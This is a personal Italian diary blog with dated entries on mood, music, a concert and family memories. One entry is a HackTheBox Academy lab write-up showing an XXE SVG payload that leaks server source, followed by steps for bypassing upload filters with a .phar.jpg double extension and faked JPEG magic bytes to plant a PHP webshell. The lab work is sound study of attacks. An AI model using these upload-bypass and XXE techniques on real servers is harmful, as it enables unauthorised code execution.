Apr 2
drift
le braccia mi fanno male, più o meno sotto le ascelle
gli avambracci sono ultra-tesi
e così le dita
sembra che io abbia perennemente le braccia congelate, questa è la sensazione di “goffagine” che avverto.
i movimenti “di fino” mi risultano incredibilmente difficili
non sono felice. non mi sento bene
stato di abbandono totale
questo sarebbe il momento di “salvarsi da solo”, cosa che mi risulta molto difficile
non capisco bene perché io abbia tutta questa difficoltànel fare cose che mi facciano stare bene
sto cuocendo le zucchine. tra poco ci metterò la pancetta sopra
poi lascerò che il tempo passi, fino a lunedì mattina.
e poi si ricomincia
1 commentMar 26
Una giornata particolare (2)
ciao
questa sera.. mi ha scritto Pierpi
anzi, prima mi ha chiamato. mi aveva chiesto se gli imprestavo un cavo D.I.
questo ha fatto riemergere il senso di “avulsione” dal mondo del “suonare” che purtroppo alberga in me
e cmq no, non credo di aver mai avuto un cavo D.I.
però gli ho chiesto come mai, a che gli serviva. c’era forse un concerto?
sì, c’era un concerto, vicinissimo casa mia, tra l’altro
così.. ho deciso di andarci. al Matta
tragitto:

now playing: Kelly Lee Owens – Corner of my Sky
sono arrivato realisticamente poco prima dell’inizio del concerto
offerta libera – “noi consigliamo 10 euro”
ho risposto: era giàla mia idea!
c’erano realisticamente ben poche persone
non conoscevo assolutamente la band (“dogs of lands?”, ma io ero lì solo perché Pierpaolo faceva il fonico

non ho sbadigliato mai. il genere non mi faceva impazzire. ma loro nel corso della serata hanno suonato sempre meglio.
poi a metàconcerto, c’è stata una sorta di presentazione dell’organizzazione “mediterranea”
con proiezioni di video, e testi di questo tipo:

ma, in che senso? il tizio col Mac non sapeva come fare lo schwa?
ogni tanto mi giravo intorno
vedevo altre presenze
presenze di persone con cui possibilmente avrei potuto condividere l’esperienza di andare alla Festa dell’UnitÃÂ
la cosa sorprendente è che, a fine concerto, una di queste ragazze è venuta dritta da me.
“ma tu sei il figlio della professoressa Scassa”?
la prima cosa che le ho risposto è stata: sì! ma tu come hai fatto a riconoscermi??
ero con la mascherina.. e saranno passati.. mm… 25 anni, letteralmente
lei veniva a casa nostra, perché mamma era sempre solita far venire g0li9999999999999999999999999999999999999999999999999999 (Colin)
gli alunni a casa, per prepararli all’esame di maturitÃÂ
Rosita. le ho detto di chiamare la mamma, che le avrebbe fatto ultra-piacere
le ho detto di aggiungere mamma su Facebook, visto che lei ce l’ha
lei ha provato a cercarla davanti a me.
non ha foto
ma.. dagli amici in comune sembrava lei.
anche se mi suonava un po’ strano (e l’ho scoperto in quel momento) che sul suo profilo c’era scritto
Macomb Community College
ROFL
now playing: BOC “poppy seed”
ciononostante, non riesco, in questi giorni, a non mangiarmi le pellicine
sigh

Feb 13
F.u.A.
ho trovato una motivazione per essere felice/stimolato: ormai mi “drogo” con moduli su academy.hackthebox.com 🙂
vediamo l'”esame finale” di questo interessantissimo modulo.
obiettivo del gioco: accedere al flag sul filesystem di questo webserver:

la parte più interessante è chiaramente “Contact Us”:

iniziamo con le cose semplici, e vediamo come va a finire con un’immagine qualunque:

il file viene caricato con successo:

ma.. non sembra immediato capire “dove” sia andato a finire:

tentativi banali come /upload/nomefile
, /uploads/nomefile
, etc.. non hanno portato a nulla.
proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:

che fa il paio con:

by the way, veniamo chiaramente inculati:

cerchiamo di indagare su quale sia lo script php che si “occupa” di fare l’upload, con l’inseparabile Burp:

vediamo se riusciamo a ottenere in chiaro il codice di upload.php
tramite XXE.
creiamo un file .svg con questo contenuto:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
prima di farlo, tramite l’inspector del browser, togliamo di mezzo quei controlli, ossia:
onchange="checkFile(this)" accept=".jpg,.jpeg,.png"
carichiamo il file svg:

e godiamoci il risultato:

quel blocco encodato in base64 contiene il codice php del file upload.php
.
# cat upload.php | base64 -d
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
la prima scoperta interessante è il path di dove vengono salvate le immagini:
$target_dir = "./user_feedback_submissions/";
nonché il come vengono rinominati i files:
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName;
come controprova, verifichiamo con il nostro Mario kart di prima 🙂

CVD!
next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.
partiamo da una jpg “vera” qualsiasi (giusto per non rimettere mano all’inspector del browser per togliere i javascript 🙂

e intercettiamo l’upload:

proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:

veniamo inculati:

ma noi questo lo sapevamo già, perché abbiamo triggerato la “blacklist” (il nostro file contiene “.php
“)
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione .phar
che, può portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>


come si vede, l’errore è diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
la whitelist di cui sopra è fatta un po’ meglio della blacklist, perché consente solo i file il cui nome finisce con quella regexp (mentre la blacklist verifica solo se contiene o meno la regexp).
riproviamo dunque con pac.phar.jpg
:


A questo punto non è chiaro al 100% se abbiamo superato la whitelist, perché l’errore, anche nella terza condizione, è sempre “Only images are allowed
“:
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
tuttavia, grazie a questo link:

sembra che abbiamo bypassato la whitelist.
dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l’upload venga effettuato un check sul tipo di file.
Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo è.
possiamo trovare un po’ ovunque i “magic bytes” per i vari tipi di file, es.
https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5
nel nostro caso dobbiamo far sì che il contenuto esadecimale del nostro file inizi con:
ff d8 ff e0
grazie a hexedit
, modifichiamo dunque l'”incipit” della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:

il comando file
sembra darci ragione sul fatto che sia veramente una jpeg:
root@kaligra:/home/joshua/academy/file_upload_attacks# file webshell.phar.jpg
webshell.phar.jpg: JPEG image data
a questo punto, dopo aver avuto un’idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file webshell.phar.jpg
e uploadarlo indisturbati:


vediamo se è stato caricato correttamente:

mm, c’è qualcosa (non un errore “Not found” 🙂
a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro cmd
e il comando desiderato:

game over *
1 commentFeb 8
boy in a room
non mi fa impazzire come suona la batteria, ma…
è definitivamente la descrizione di un mio pomeriggio ideale
(Flynscot, youtube, cover: Weight off by BBNG & kaytranada)
No commentsFeb 5
CTF – Liberty
ho perso qualche minuto per cercare di capire come si apriva il “vano” davanti..
poi ho cercato su Youtube 🙂
diciamo che non ci sarei mai arrivato 🙂
by the way, it is empty

Jan 31
vita di pi
kelly lee owens – ON
questo video mi devasta. lo trovo molto poetico. separazione (o morte)
e la mia sintesi: ok, dopo una separazione così sofferta, non è forse giusto dire che la nostra vita è distrutta per sempre?
io non credo di riuscire a voler superare il passato.
mi sembra più onesto continuare a ripetere ogni giorno che la vita è una merda. niente a senso (cit. Lamentazioni.org)
e attendere quel giorno, per trovare la pace.
“perché da vivi.. la pace nun ce l’avevano” (cit. Richard Benson stavolta)
No commentsJan 30
doveva essere una cosa bella
mi è successo n volte
tipo.. sto in macchina con qualcuno, questo qualcuno inizia a sciorinare una serie di brani musicali, magari mi chiede se ne conosco qualcuno; ma sostanzialmente non sembra interessato al fatto che io li stia apprezzando oppure no. che io stia bene oppure no. che io mi senta soggiogato oppure no.
voglio dire: se fosse stato senza di me in quel momento, si sarebbe comportato alla stessa maniera.
oppure a Capodanno, dove qualcuno si mette davanti al PC e monopolizza la scelta della playlist della serata, senza dare l’idea di voler far partcipare anche gli altri.
ho sempre vissuto male questi episodi. ma probabilmente è un discorso più ampio.
ci sono persone che, a pelle, mi hanno sempre e subito trasmesso una certa propensione a condividere (o forse dovrei dire meglio: convivivere) le cose, non solo la musica. A vivere veramente certi momenti “alla pari”. definirei queste persone dei comunisti sociali 🙂
altri invece (tipicamente con un forte carattere), mi hanno sempre dato l’idea di non preoccuparsi più di tanto di saper leggere lo stato d’animo dell’altro.
figuriamoci, quindi, avere un’idea dei suoi gusti.
Agli occhi di un osservatore qualunque, vista in mezzo ai suoi compagni di giochi molto più socievoli, Judy, una bambina di quattro anni, potrebbe sembrare un classico tipo da tappezzeria. Quando è il momento di giocare, esita a prendere parte all’azione e ne resta ai margini invece di immergersi in essa. Tuttavia, Judy è un’abile osservatrice della politica sociale nell’ambito della sua classe di scuola materna – forse la più sofisticata, fra tutti i suoi compagni, nella comprensione dei sentimenti altrui.
Questa sua dote emerge soltanto quando l’insegnante riunisce Judy e i suoi coetanei per fare quello che essi chiamano il Gioco della Classe. Questo gioco – che consiste in un modellino dell’aula di Judy, come una casa di bambole, con figurine che hanno al posto della testa delle piccole fotografie dei bambini e dell’insegnante – è un test per valutare la percettivitàsociale. Quando l’insegnante le chiede di mettere ciascun bambino nella zona della classe dove esso ama di più stare – l’angolo delle attivitàartistiche, quelle delle costruzioni, e così via – Judy è in grado di farlo con grande accuratezza. E quando le si chiede di mettere ciascun bambino insieme a quelli con cui ama di più giocare, Judy sa mettere insieme tutti gli amici migliori.
(from Daniel Goleman, “Intelligenza emotiva”)

Jan 9
long distance phone call
ogni tanto, quando sto a casa dei miei, e mamma non c’è, parlo con papÃÂ
mi rivolgo verso quella specie di “botola” dove ci sono le sue ceneri
come se cercassi delle risposte, un qualcosa che mi faccia stare “tranquillo”
cmq.
visto che oggi il mio pomeriggio saràtutt’altro che “libero” (e per libero intendo: libero di fare quello che cazzo mi pare, senza sentirsi colpevolizzato e/o incriminato), ho deciso di fare una cosa che dovevo fare da tempo.
ossia..
cerca di trovare, in mezzo a decine e decine di chiavi, quali fossero quelle del motorino di papà, e soprattutto della catena dello stesso
alla fine, c’era un mazzo con una targhetta “capanno”
è stato piuttosto facile

tra queste ho trovato la chiave del Liberty, quella del bauletto, e quella di quella specie di “locker” che bloccava la routa.
così ho potuto spostare il motorino un po’ più avanti:

giàche c’ero, ho provato anche a cercare la chiave della catena della bici verde di papà:

e ho trovato anche lei

così posso portarla a Iervese, e magari usarla.. visto che quella che uso in genere è un po’ duretta
questa mattina ho fatto colazione con marzia e il mio amico Emiliano

gli ho mandato questa foto, sempre di un paio di libri trovati al capannone..

oggi dovrò mettere a posto la libreria.
1 comment